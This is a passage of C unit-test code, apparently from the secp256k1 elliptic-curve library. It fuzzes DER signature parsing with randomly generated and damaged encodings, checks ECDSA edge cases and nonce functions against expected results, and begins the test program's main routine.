roundtrips_der_lax = (len_der_lax == siglen) && memcmp(roundtrip_der_lax, sig, siglen) == 0; } if (certainly_der) { ret |= (!parsed_der) << 2; } if (certainly_not_der) { ret |= (parsed_der) << 17; } if (valid_der) { ret |= (!roundtrips_der) << 3; } if (valid_der) { ret |= (!roundtrips_der_lax) << 12; ret |= (len_der != len_der_lax) << 13; ret |= (memcmp(roundtrip_der_lax, roundtrip_der, len_der) != 0) << 14; } ret |= (roundtrips_der != roundtrips_der_lax) << 15; if (parsed_der) { ret |= (!parsed_der_lax) << 16; } #ifdef ENABLE_OPENSSL_TESTS sig_openssl = ECDSA_SIG_new(); sigptr = sig; parsed_openssl = (d2i_ECDSA_SIG(&sig_openssl, &sigptr, siglen) != NULL); if (parsed_openssl) { valid_openssl = !BN_is_negative(sig_openssl->r) && !BN_is_negative(sig_openssl->s) && BN_num_bits(sig_openssl->r) > 0 && BN_num_bits(sig_openssl->r) <= 256 && BN_num_bits(sig_openssl->s) > 0 && BN_num_bits(sig_openssl->s) <= 256; if (valid_openssl) { unsigned char tmp[32] = {0}; BN_bn2bin(sig_openssl->r, tmp + 32 - BN_num_bytes(sig_openssl->r)); valid_openssl = memcmp(tmp, max_scalar, 32) < 0; } if (valid_openssl) { unsigned char tmp[32] = {0}; BN_bn2bin(sig_openssl->s, tmp + 32 - BN_num_bytes(sig_openssl->s)); valid_openssl = memcmp(tmp, max_scalar, 32) < 0; } } len_openssl = i2d_ECDSA_SIG(sig_openssl, NULL); if (len_openssl <= 2048) { unsigned char *ptr = roundtrip_openssl; CHECK(i2d_ECDSA_SIG(sig_openssl, &ptr) == len_openssl); roundtrips_openssl = valid_openssl && ((size_t)len_openssl == siglen) && (memcmp(roundtrip_openssl, sig, siglen) == 0); } else { len_openssl = 0; } ECDSA_SIG_free(sig_openssl); ret |= (parsed_der && !parsed_openssl) << 4; ret |= (valid_der && !valid_openssl) << 5; ret |= (roundtrips_openssl && !parsed_der) << 6; ret |= (roundtrips_der != roundtrips_openssl) << 7; if (roundtrips_openssl) { ret |= (len_der != (size_t)len_openssl) << 8; ret |= (memcmp(roundtrip_der, roundtrip_openssl, len_der) != 0) << 9; } #endif return ret; } static void assign_big_endian(unsigned char *ptr, size_t ptrlen, uint32_t val) { size_t i; for (i = 0; i < ptrlen; i++) { int shift = ptrlen - 1 - i; if (shift >= 4) { ptr[i] = 0; } else { ptr[i] = (val >> shift) & 0xFF; } } } static void damage_array(unsigned char *sig, size_t *len) { int pos; int action = secp256k1_rand_bits(3); if (action < 1 && *len > 3) { /* Delete a byte. */ pos = secp256k1_rand_int(*len); memmove(sig + pos, sig + pos + 1, *len - pos - 1); (*len)--; return; } else if (action < 2 && *len < 2048) { /* Insert a byte. */ pos = secp256k1_rand_int(1 + *len); memmove(sig + pos + 1, sig + pos, *len - pos); sig[pos] = secp256k1_rand_bits(8); (*len)++; return; } else if (action < 4) { /* Modify a byte. */ sig[secp256k1_rand_int(*len)] += 1 + secp256k1_rand_int(255); return; } else { /* action < 8 */ /* Modify a bit. */ sig[secp256k1_rand_int(*len)] ^= 1 << secp256k1_rand_bits(3); return; } } static void random_ber_signature(unsigned char *sig, size_t *len, int* certainly_der, int* certainly_not_der) { int der; int nlow[2], nlen[2], nlenlen[2], nhbit[2], nhbyte[2], nzlen[2]; size_t tlen, elen, glen; int indet; int n; *len = 0; der = secp256k1_rand_bits(2) == 0; *certainly_der = der; *certainly_not_der = 0; indet = der ? 0 : secp256k1_rand_int(10) == 0; for (n = 0; n < 2; n++) { /* We generate two classes of numbers: nlow==1 "low" ones (up to 32 bytes), nlow==0 "high" ones (32 bytes with 129 top bits set, or larger than 32 bytes) */ nlow[n] = der ? 1 : (secp256k1_rand_bits(3) != 0); /* The length of the number in bytes (the first byte of which will always be nonzero) */ nlen[n] = nlow[n] ? secp256k1_rand_int(33) : 32 + secp256k1_rand_int(200) * secp256k1_rand_int(8) / 8; CHECK(nlen[n] <= 232); /* The top bit of the number. */ nhbit[n] = (nlow[n] == 0 && nlen[n] == 32) ? 1 : (nlen[n] == 0 ? 0 : secp256k1_rand_bits(1)); /* The top byte of the number (after the potential hardcoded 16 0xFF characters for "high" 32 bytes numbers) */ nhbyte[n] = nlen[n] == 0 ? 0 : (nhbit[n] ? 128 + secp256k1_rand_bits(7) : 1 + secp256k1_rand_int(127)); /* The number of zero bytes in front of the number (which is 0 or 1 in case of DER, otherwise we extend up to 300 bytes) */ nzlen[n] = der ? ((nlen[n] == 0 || nhbit[n]) ? 1 : 0) : (nlow[n] ? secp256k1_rand_int(3) : secp256k1_rand_int(300 - nlen[n]) * secp256k1_rand_int(8) / 8); if (nzlen[n] > ((nlen[n] == 0 || nhbit[n]) ? 1 : 0)) { *certainly_not_der = 1; } CHECK(nlen[n] + nzlen[n] <= 300); /* The length of the length descriptor for the number. 0 means short encoding, anything else is long encoding. */ nlenlen[n] = nlen[n] + nzlen[n] < 128 ? 0 : (nlen[n] + nzlen[n] < 256 ? 1 : 2); if (!der) { /* nlenlen[n] max 127 bytes */ int add = secp256k1_rand_int(127 - nlenlen[n]) * secp256k1_rand_int(16) * secp256k1_rand_int(16) / 256; nlenlen[n] += add; if (add != 0) { *certainly_not_der = 1; } } CHECK(nlen[n] + nzlen[n] + nlenlen[n] <= 427); } /* The total length of the data to go, so far */ tlen = 2 + nlenlen[0] + nlen[0] + nzlen[0] + 2 + nlenlen[1] + nlen[1] + nzlen[1]; CHECK(tlen <= 856); /* The length of the garbage inside the tuple. */ elen = (der || indet) ? 0 : secp256k1_rand_int(980 - tlen) * secp256k1_rand_int(8) / 8; if (elen != 0) { *certainly_not_der = 1; } tlen += elen; CHECK(tlen <= 980); /* The length of the garbage after the end of the tuple. */ glen = der ? 0 : secp256k1_rand_int(990 - tlen) * secp256k1_rand_int(8) / 8; if (glen != 0) { *certainly_not_der = 1; } CHECK(tlen + glen <= 990); /* Write the tuple header. */ sig[(*len)++] = 0x30; if (indet) { /* Indeterminate length */ sig[(*len)++] = 0x80; *certainly_not_der = 1; } else { int tlenlen = tlen < 128 ? 0 : (tlen < 256 ? 1 : 2); if (!der) { int add = secp256k1_rand_int(127 - tlenlen) * secp256k1_rand_int(16) * secp256k1_rand_int(16) / 256; tlenlen += add; if (add != 0) { *certainly_not_der = 1; } } if (tlenlen == 0) { /* Short length notation */ sig[(*len)++] = tlen; } else { /* Long length notation */ sig[(*len)++] = 128 + tlenlen; assign_big_endian(sig + *len, tlenlen, tlen); *len += tlenlen; } tlen += tlenlen; } tlen += 2; CHECK(tlen + glen <= 1119); for (n = 0; n < 2; n++) { /* Write the integer header. */ sig[(*len)++] = 0x02; if (nlenlen[n] == 0) { /* Short length notation */ sig[(*len)++] = nlen[n] + nzlen[n]; } else { /* Long length notation. */ sig[(*len)++] = 128 + nlenlen[n]; assign_big_endian(sig + *len, nlenlen[n], nlen[n] + nzlen[n]); *len += nlenlen[n]; } /* Write zero padding */ while (nzlen[n] > 0) { sig[(*len)++] = 0x00; nzlen[n]--; } if (nlen[n] == 32 && !nlow[n]) { /* Special extra 16 0xFF bytes in "high" 32-byte numbers */ int i; for (i = 0; i < 16; i++) { sig[(*len)++] = 0xFF; } nlen[n] -= 16; } /* Write first byte of number */ if (nlen[n] > 0) { sig[(*len)++] = nhbyte[n]; nlen[n]--; } /* Generate remaining random bytes of number */ secp256k1_rand_bytes_test(sig + *len, nlen[n]); *len += nlen[n]; nlen[n] = 0; } /* Generate random garbage inside tuple. */ secp256k1_rand_bytes_test(sig + *len, elen); *len += elen; /* Generate end-of-contents bytes. */ if (indet) { sig[(*len)++] = 0; sig[(*len)++] = 0; tlen += 2; } CHECK(tlen + glen <= 1121); /* Generate random garbage outside tuple. */ secp256k1_rand_bytes_test(sig + *len, glen); *len += glen; tlen += glen; CHECK(tlen <= 1121); CHECK(tlen == *len); } void run_ecdsa_der_parse(void) { int i,j; for (i = 0; i < 200 * count; i++) { unsigned char buffer[2048]; size_t buflen = 0; int certainly_der = 0; int certainly_not_der = 0; random_ber_signature(buffer, &buflen, &certainly_der, &certainly_not_der); CHECK(buflen <= 2048); for (j = 0; j < 16; j++) { int ret = 0; if (j > 0) { damage_array(buffer, &buflen); /* We don't know anything anymore about the DERness of the result */ certainly_der = 0; certainly_not_der = 0; } ret = test_ecdsa_der_parse(buffer, buflen, certainly_der, certainly_not_der); if (ret != 0) { size_t k; fprintf(stderr, "Failure %x on ", ret); for (k = 0; k < buflen; k++) { fprintf(stderr, "%02x ", buffer[k]); } fprintf(stderr, "\n"); } CHECK(ret == 0); } } } /* Tests several edge cases. */ void test_ecdsa_edge_cases(void) { int t; secp256k1_ecdsa_signature sig; /* Test the case where ECDSA recomputes a point that is infinity. */ { secp256k1_gej keyj; secp256k1_ge key; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 1); secp256k1_scalar_negate(&ss, &ss); secp256k1_scalar_inverse(&ss, &ss); secp256k1_scalar_set_int(&sr, 1); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &keyj, &sr); secp256k1_ge_set_gej(&key, &keyj); msg = ss; CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); } /* Verify signature with r of zero fails. */ { const unsigned char pubkey_mods_zero[33] = { 0x02, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x41 }; secp256k1_ge key; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 1); secp256k1_scalar_set_int(&msg, 0); secp256k1_scalar_set_int(&sr, 0); CHECK(secp256k1_eckey_pubkey_parse(&key, pubkey_mods_zero, 33)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); } /* Verify signature with s of zero fails. */ { const unsigned char pubkey[33] = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }; secp256k1_ge key; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 0); secp256k1_scalar_set_int(&msg, 0); secp256k1_scalar_set_int(&sr, 1); CHECK(secp256k1_eckey_pubkey_parse(&key, pubkey, 33)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); } /* Verify signature with message 0 passes. */ { const unsigned char pubkey[33] = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 }; const unsigned char pubkey2[33] = { 0x02, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x43 }; secp256k1_ge key; secp256k1_ge key2; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 2); secp256k1_scalar_set_int(&msg, 0); secp256k1_scalar_set_int(&sr, 2); CHECK(secp256k1_eckey_pubkey_parse(&key, pubkey, 33)); CHECK(secp256k1_eckey_pubkey_parse(&key2, pubkey2, 33)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 1); secp256k1_scalar_negate(&ss, &ss); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 1); secp256k1_scalar_set_int(&ss, 1); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 0); } /* Verify signature with message 1 passes. */ { const unsigned char pubkey[33] = { 0x02, 0x14, 0x4e, 0x5a, 0x58, 0xef, 0x5b, 0x22, 0x6f, 0xd2, 0xe2, 0x07, 0x6a, 0x77, 0xcf, 0x05, 0xb4, 0x1d, 0xe7, 0x4a, 0x30, 0x98, 0x27, 0x8c, 0x93, 0xe6, 0xe6, 0x3c, 0x0b, 0xc4, 0x73, 0x76, 0x25 }; const unsigned char pubkey2[33] = { 0x02, 0x8a, 0xd5, 0x37, 0xed, 0x73, 0xd9, 0x40, 0x1d, 0xa0, 0x33, 0xd2, 0xdc, 0xf0, 0xaf, 0xae, 0x34, 0xcf, 0x5f, 0x96, 0x4c, 0x73, 0x28, 0x0f, 0x92, 0xc0, 0xf6, 0x9d, 0xd9, 0xb2, 0x09, 0x10, 0x62 }; const unsigned char csr[32] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x45, 0x51, 0x23, 0x19, 0x50, 0xb7, 0x5f, 0xc4, 0x40, 0x2d, 0xa1, 0x72, 0x2f, 0xc9, 0xba, 0xeb }; secp256k1_ge key; secp256k1_ge key2; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 1); secp256k1_scalar_set_int(&msg, 1); secp256k1_scalar_set_b32(&sr, csr, NULL); CHECK(secp256k1_eckey_pubkey_parse(&key, pubkey, 33)); CHECK(secp256k1_eckey_pubkey_parse(&key2, pubkey2, 33)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 1); secp256k1_scalar_negate(&ss, &ss); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 1); secp256k1_scalar_set_int(&ss, 2); secp256k1_scalar_inverse_var(&ss, &ss); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key2, &msg) == 0); } /* Verify signature with message -1 passes. */ { const unsigned char pubkey[33] = { 0x03, 0xaf, 0x97, 0xff, 0x7d, 0x3a, 0xf6, 0xa0, 0x02, 0x94, 0xbd, 0x9f, 0x4b, 0x2e, 0xd7, 0x52, 0x28, 0xdb, 0x49, 0x2a, 0x65, 0xcb, 0x1e, 0x27, 0x57, 0x9c, 0xba, 0x74, 0x20, 0xd5, 0x1d, 0x20, 0xf1 }; const unsigned char csr[32] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x45, 0x51, 0x23, 0x19, 0x50, 0xb7, 0x5f, 0xc4, 0x40, 0x2d, 0xa1, 0x72, 0x2f, 0xc9, 0xba, 0xee }; secp256k1_ge key; secp256k1_scalar msg; secp256k1_scalar sr, ss; secp256k1_scalar_set_int(&ss, 1); secp256k1_scalar_set_int(&msg, 1); secp256k1_scalar_negate(&msg, &msg); secp256k1_scalar_set_b32(&sr, csr, NULL); CHECK(secp256k1_eckey_pubkey_parse(&key, pubkey, 33)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); secp256k1_scalar_negate(&ss, &ss); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 1); secp256k1_scalar_set_int(&ss, 3); secp256k1_scalar_inverse_var(&ss, &ss); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sr, &ss, &key, &msg) == 0); } /* Signature where s would be zero. */ { secp256k1_pubkey pubkey; size_t siglen; int32_t ecount; unsigned char signature[72]; static const unsigned char nonce[32] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, }; static const unsigned char nonce2[32] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE, 0xBA,0xAE,0xDC,0xE6,0xAF,0x48,0xA0,0x3B, 0xBF,0xD2,0x5E,0x8C,0xD0,0x36,0x41,0x40 }; const unsigned char key[32] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, }; unsigned char msg[32] = { 0x86, 0x41, 0x99, 0x81, 0x06, 0x23, 0x44, 0x53, 0xaa, 0x5f, 0x9d, 0x6a, 0x31, 0x78, 0xf4, 0xf7, 0xb8, 0x12, 0xe0, 0x0b, 0x81, 0x7a, 0x77, 0x62, 0x65, 0xdf, 0xdd, 0x31, 0xb9, 0x3e, 0x29, 0xa9, }; ecount = 0; secp256k1_context_set_illegal_callback(ctx, counting_illegal_callback_fn, &ecount); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, precomputed_nonce_function, nonce) == 0); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, precomputed_nonce_function, nonce2) == 0); msg[31] = 0xaa; CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, precomputed_nonce_function, nonce) == 1); CHECK(ecount == 0); CHECK(secp256k1_ecdsa_sign(ctx, NULL, msg, key, precomputed_nonce_function, nonce2) == 0); CHECK(ecount == 1); CHECK(secp256k1_ecdsa_sign(ctx, &sig, NULL, key, precomputed_nonce_function, nonce2) == 0); CHECK(ecount == 2); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, NULL, precomputed_nonce_function, nonce2) == 0); CHECK(ecount == 3); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, precomputed_nonce_function, nonce2) == 1); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, key) == 1); CHECK(secp256k1_ecdsa_verify(ctx, NULL, msg, &pubkey) == 0); CHECK(ecount == 4); CHECK(secp256k1_ecdsa_verify(ctx, &sig, NULL, &pubkey) == 0); CHECK(ecount == 5); CHECK(secp256k1_ecdsa_verify(ctx, &sig, msg, NULL) == 0); CHECK(ecount == 6); CHECK(secp256k1_ecdsa_verify(ctx, &sig, msg, &pubkey) == 1); CHECK(ecount == 6); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, NULL) == 0); CHECK(ecount == 7); /* That pubkeyload fails via an ARGCHECK is a little odd but makes sense because pubkeys are an opaque data type. */ CHECK(secp256k1_ecdsa_verify(ctx, &sig, msg, &pubkey) == 0); CHECK(ecount == 8); siglen = 72; CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, NULL, &siglen, &sig) == 0); CHECK(ecount == 9); CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, signature, NULL, &sig) == 0); CHECK(ecount == 10); CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, signature, &siglen, NULL) == 0); CHECK(ecount == 11); CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, signature, &siglen, &sig) == 1); CHECK(ecount == 11); CHECK(secp256k1_ecdsa_signature_parse_der(ctx, NULL, signature, siglen) == 0); CHECK(ecount == 12); CHECK(secp256k1_ecdsa_signature_parse_der(ctx, &sig, NULL, siglen) == 0); CHECK(ecount == 13); CHECK(secp256k1_ecdsa_signature_parse_der(ctx, &sig, signature, siglen) == 1); CHECK(ecount == 13); siglen = 10; /* Too little room for a signature does not fail via ARGCHECK. */ CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, signature, &siglen, &sig) == 0); CHECK(ecount == 13); ecount = 0; CHECK(secp256k1_ecdsa_signature_normalize(ctx, NULL, NULL) == 0); CHECK(ecount == 1); CHECK(secp256k1_ecdsa_signature_serialize_compact(ctx, NULL, &sig) == 0); CHECK(ecount == 2); CHECK(secp256k1_ecdsa_signature_serialize_compact(ctx, signature, NULL) == 0); CHECK(ecount == 3); CHECK(secp256k1_ecdsa_signature_serialize_compact(ctx, signature, &sig) == 1); CHECK(ecount == 3); CHECK(secp256k1_ecdsa_signature_parse_compact(ctx, NULL, signature) == 0); CHECK(ecount == 4); CHECK(secp256k1_ecdsa_signature_parse_compact(ctx, &sig, NULL) == 0); CHECK(ecount == 5); CHECK(secp256k1_ecdsa_signature_parse_compact(ctx, &sig, signature) == 1); CHECK(ecount == 5); memset(signature, 255, 64); CHECK(secp256k1_ecdsa_signature_parse_compact(ctx, &sig, signature) == 0); CHECK(ecount == 5); secp256k1_context_set_illegal_callback(ctx, NULL, NULL); } /* Nonce function corner cases. */ for (t = 0; t < 2; t++) { static const unsigned char zero[32] = {0x00}; int i; unsigned char key[32]; unsigned char msg[32]; secp256k1_ecdsa_signature sig2; secp256k1_scalar sr[512], ss; const unsigned char *extra; extra = t == 0 ? NULL : zero; memset(msg, 0, 32); msg[31] = 1; /* High key results in signature failure. */ memset(key, 0xFF, 32); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, NULL, extra) == 0); CHECK(is_empty_signature(&sig)); /* Zero key results in signature failure. */ memset(key, 0, 32); CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, NULL, extra) == 0); CHECK(is_empty_signature(&sig)); /* Nonce function failure results in signature failure. */ key[31] = 1; CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, nonce_function_test_fail, extra) == 0); CHECK(is_empty_signature(&sig)); /* The retry loop successfully makes its way to the first good value. */ CHECK(secp256k1_ecdsa_sign(ctx, &sig, msg, key, nonce_function_test_retry, extra) == 1); CHECK(!is_empty_signature(&sig)); CHECK(secp256k1_ecdsa_sign(ctx, &sig2, msg, key, nonce_function_rfc6979, extra) == 1); CHECK(!is_empty_signature(&sig2)); CHECK(memcmp(&sig, &sig2, sizeof(sig)) == 0); /* The default nonce function is deterministic. */ CHECK(secp256k1_ecdsa_sign(ctx, &sig2, msg, key, NULL, extra) == 1); CHECK(!is_empty_signature(&sig2)); CHECK(memcmp(&sig, &sig2, sizeof(sig)) == 0); /* The default nonce function changes output with different messages. */ for(i = 0; i < 256; i++) { int j; msg[0] = i; CHECK(secp256k1_ecdsa_sign(ctx, &sig2, msg, key, NULL, extra) == 1); CHECK(!is_empty_signature(&sig2)); secp256k1_ecdsa_signature_load(ctx, &sr[i], &ss, &sig2); for (j = 0; j < i; j++) { CHECK(!secp256k1_scalar_eq(&sr[i], &sr[j])); } } msg[0] = 0; msg[31] = 2; /* The default nonce function changes output with different keys. */ for(i = 256; i < 512; i++) { int j; key[0] = i - 256; CHECK(secp256k1_ecdsa_sign(ctx, &sig2, msg, key, NULL, extra) == 1); CHECK(!is_empty_signature(&sig2)); secp256k1_ecdsa_signature_load(ctx, &sr[i], &ss, &sig2); for (j = 0; j < i; j++) { CHECK(!secp256k1_scalar_eq(&sr[i], &sr[j])); } } key[0] = 0; } { /* Check that optional nonce arguments do not have equivalent effect. */ const unsigned char zeros[32] = {0}; unsigned char nonce[32]; unsigned char nonce2[32]; unsigned char nonce3[32]; unsigned char nonce4[32]; VG_UNDEF(nonce,32); VG_UNDEF(nonce2,32); VG_UNDEF(nonce3,32); VG_UNDEF(nonce4,32); CHECK(nonce_function_rfc6979(nonce, zeros, zeros, NULL, NULL, 0) == 1); VG_CHECK(nonce,32); CHECK(nonce_function_rfc6979(nonce2, zeros, zeros, zeros, NULL, 0) == 1); VG_CHECK(nonce2,32); CHECK(nonce_function_rfc6979(nonce3, zeros, zeros, NULL, (void *)zeros, 0) == 1); VG_CHECK(nonce3,32); CHECK(nonce_function_rfc6979(nonce4, zeros, zeros, zeros, (void *)zeros, 0) == 1); VG_CHECK(nonce4,32); CHECK(memcmp(nonce, nonce2, 32) != 0); CHECK(memcmp(nonce, nonce3, 32) != 0); CHECK(memcmp(nonce, nonce4, 32) != 0); CHECK(memcmp(nonce2, nonce3, 32) != 0); CHECK(memcmp(nonce2, nonce4, 32) != 0); CHECK(memcmp(nonce3, nonce4, 32) != 0); } /* Privkey export where pubkey is the point at infinity. */ { unsigned char privkey[300]; unsigned char seckey[32] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x41, }; size_t outlen = 300; CHECK(!ec_privkey_export_der(ctx, privkey, &outlen, seckey, 0)); outlen = 300; CHECK(!ec_privkey_export_der(ctx, privkey, &outlen, seckey, 1)); } } void run_ecdsa_edge_cases(void) { test_ecdsa_edge_cases(); } #ifdef ENABLE_OPENSSL_TESTS EC_KEY *get_openssl_key(const unsigned char *key32) { unsigned char privkey[300]; size_t privkeylen; const unsigned char* pbegin = privkey; int compr = secp256k1_rand_bits(1); EC_KEY *ec_key = EC_KEY_new_by_curve_name(NID_secp256k1); CHECK(ec_privkey_export_der(ctx, privkey, &privkeylen, key32, compr)); CHECK(d2i_ECPrivateKey(&ec_key, &pbegin, privkeylen)); CHECK(EC_KEY_check_key(ec_key)); return ec_key; } void test_ecdsa_openssl(void) { secp256k1_gej qj; secp256k1_ge q; secp256k1_scalar sigr, sigs; secp256k1_scalar one; secp256k1_scalar msg2; secp256k1_scalar key, msg; EC_KEY *ec_key; unsigned int sigsize = 80; size_t secp_sigsize = 80; unsigned char message[32]; unsigned char signature[80]; unsigned char key32[32]; secp256k1_rand256_test(message); secp256k1_scalar_set_b32(&msg, message, NULL); random_scalar_order_test(&key); secp256k1_scalar_get_b32(key32, &key); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &qj, &key); secp256k1_ge_set_gej(&q, &qj); ec_key = get_openssl_key(key32); CHECK(ec_key != NULL); CHECK(ECDSA_sign(0, message, sizeof(message), signature, &sigsize, ec_key)); CHECK(secp256k1_ecdsa_sig_parse(&sigr, &sigs, signature, sigsize)); CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sigr, &sigs, &q, &msg)); secp256k1_scalar_set_int(&one, 1); secp256k1_scalar_add(&msg2, &msg, &one); CHECK(!secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sigr, &sigs, &q, &msg2)); random_sign(&sigr, &sigs, &key, &msg, NULL); CHECK(secp256k1_ecdsa_sig_serialize(signature, &secp_sigsize, &sigr, &sigs)); CHECK(ECDSA_verify(0, message, sizeof(message), signature, secp_sigsize, ec_key) == 1); EC_KEY_free(ec_key); } void run_ecdsa_openssl(void) { int i; for (i = 0; i < 10*count; i++) { test_ecdsa_openssl(); } } #endif #ifdef ENABLE_MODULE_ECDH # include "modules/ecdh/tests_impl.h" #endif #ifdef ENABLE_MODULE_MUSIG # include "modules/musig/tests_impl.h" #endif #ifdef ENABLE_MODULE_RECOVERY # include "modules/recovery/tests_impl.h" #endif int main(int argc, char **argv) { unsigned char seed16[16] = {0}; unsigned char run32[32] = {0}; /* find iteration count */ if (argc > 1) { count = strtol(argv[1], NULL, 0); } /* find random seed */ if (argc > 2) { int pos = 0; const char* ch = argv[2]; while (pos < 16 && ch[0] != 0 && ch[1] != 0) { unsigned short sh; if (sscanf(ch, "%2hx", &sh)) { seed16[pos] = sh; } else { break; } ch += 2; pos++; } } else { FILE *frand = fopen("/dev/urandom", "r"); if ((frand == NULL) || !fread(&seed16, sizeof(seed16), 1, frand)) { uint64_t t = time(NULL) * (uint64_t)1337; seed16[0] ^= t; seed16[1] ^= t >> 8; seed16[2] ^= t >> 16; seed16[3] ^= t >> 24; seed16[4] ^= t >> 32; seed16[5] ^= t >> 40; seed16[6] ^= t >> 48; seed16[7] ^= t >> 56; } fclose(frand); } secp256k1_rand_seed(seed16); printf("test count = %i\n", count); printf("random seed = %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n", seed16[0], seed16[1], seed16[2], seed16[3], seed16[4], seed16[5], seed16[6], seed16[7], seed16[8], seed16[9], seed16[10], seed16[11], seed16[12], seed16[13], seed16[14], seed16[15]); /* initialize */ run_context_tests(); ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN | SECP256K1_CONTEXT_VERIFY); if (secp256k1_rand_bits(1)) { secp256k1_rand256(run32); CHECK(secp256k1_context_randomize(ctx, secp256k1_rand_bits(1) ? run32 : NULL)); } run_rand_bits(); run_rand_int(); run_sha256_tests(); 